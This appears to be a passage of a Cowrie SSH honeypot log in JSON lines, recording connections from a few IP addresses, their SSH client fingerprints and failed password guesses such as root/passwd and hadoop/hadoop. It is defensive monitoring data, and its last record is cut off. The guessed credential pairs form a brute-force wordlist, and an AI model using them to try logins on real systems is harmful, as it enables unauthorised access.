{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:29.104910Z","src_ip":"45.156.87.147","session":"9eb805d18c11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop","message":"login attempt [hadoop/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:29.366262Z","src_ip":"45.156.87.147","session":"9eb805d18c11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:30.451642Z","src_ip":"45.156.87.147","session":"9eb805d18c11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":38278,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6df51866b6b","protocol":"ssh","message":"New connection: 43.166.242.149:38278 (159.203.135.109:22) [session: b6df51866b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:33.272976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:33.277493Z","src_ip":"43.166.242.149","session":"b6df51866b6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:33.287053Z","src_ip":"43.166.242.149","session":"b6df51866b6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"libcal","password":"libcal","message":"login attempt [libcal/libcal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:33.601779Z","src_ip":"43.166.242.149","session":"b6df51866b6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:34.858054Z","src_ip":"43.166.242.149","session":"b6df51866b6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":51234,"dst_ip":"10.17.0.5","dst_port":22,"session":"19962bcdd10d","protocol":"ssh","message":"New connection: 45.156.87.147:51234 (10.17.0.5:22) [session: 19962bcdd10d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:35.548527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:35.552684Z","src_ip":"45.156.87.147","session":"19962bcdd10d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:35.636480Z","src_ip":"45.156.87.147","session":"19962bcdd10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:35.886238Z","src_ip":"45.156.87.147","session":"19962bcdd10d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":46648,"dst_ip":"159.203.135.109","dst_port":22,"session":"6df6dce4687e","protocol":"ssh","message":"New connection: 80.94.92.184:46648 (159.203.135.109:22) [session: 6df6dce4687e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:36.072389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:36.166477Z","src_ip":"80.94.92.184","session":"6df6dce4687e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:36.825711Z","src_ip":"80.94.92.184","session":"6df6dce4687e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:36.975632Z","src_ip":"45.156.87.147","session":"19962bcdd10d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solv","message":"login attempt [ubuntu/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:38.209766Z","src_ip":"80.94.92.184","session":"6df6dce4687e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:39.387047Z","src_ip":"80.94.92.184","session":"6df6dce4687e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48460,"dst_ip":"10.17.0.5","dst_port":22,"session":"febe0bc115f3","protocol":"ssh","message":"New connection: 45.156.87.147:48460 (10.17.0.5:22) [session: febe0bc115f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:41.870365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:41.874676Z","src_ip":"45.156.87.147","session":"febe0bc115f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:41.962078Z","src_ip":"45.156.87.147","session":"febe0bc115f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:42.215371Z","src_ip":"45.156.87.147","session":"febe0bc115f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:43.304488Z","src_ip":"45.156.87.147","session":"febe0bc115f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":48478,"dst_ip":"10.17.0.5","dst_port":22,"session":"006ff3b9d434","protocol":"ssh","message":"New connection: 45.156.87.147:48478 (10.17.0.5:22) [session: 006ff3b9d434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:47.856273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:47.860669Z","src_ip":"45.156.87.147","session":"006ff3b9d434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:47.942983Z","src_ip":"45.156.87.147","session":"006ff3b9d434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:48.193691Z","src_ip":"45.156.87.147","session":"006ff3b9d434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:49.279014Z","src_ip":"45.156.87.147","session":"006ff3b9d434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":42430,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e54405fd3a0","protocol":"ssh","message":"New connection: 45.156.87.147:42430 (10.17.0.5:22) [session: 3e54405fd3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:54.264825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:54.269869Z","src_ip":"45.156.87.147","session":"3e54405fd3a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:54.351733Z","src_ip":"45.156.87.147","session":"3e54405fd3a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"1234","message":"login attempt [admin123/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:54.604369Z","src_ip":"45.156.87.147","session":"3e54405fd3a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:26:55.689583Z","src_ip":"45.156.87.147","session":"3e54405fd3a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53906,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a85bc274fe2","protocol":"ssh","message":"New connection: 45.156.87.147:53906 (10.17.0.5:22) [session: 5a85bc274fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:00.227172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:00.231781Z","src_ip":"45.156.87.147","session":"5a85bc274fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:00.319495Z","src_ip":"45.156.87.147","session":"5a85bc274fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1","message":"login attempt [runner/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:00.568283Z","src_ip":"45.156.87.147","session":"5a85bc274fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:01.653265Z","src_ip":"45.156.87.147","session":"5a85bc274fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53920,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5d62bb0f768","protocol":"ssh","message":"New connection: 45.156.87.147:53920 (10.17.0.5:22) [session: c5d62bb0f768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.241666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:27:06.349046Z","src_ip":"45.156.87.147","session":"c5d62bb0f768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 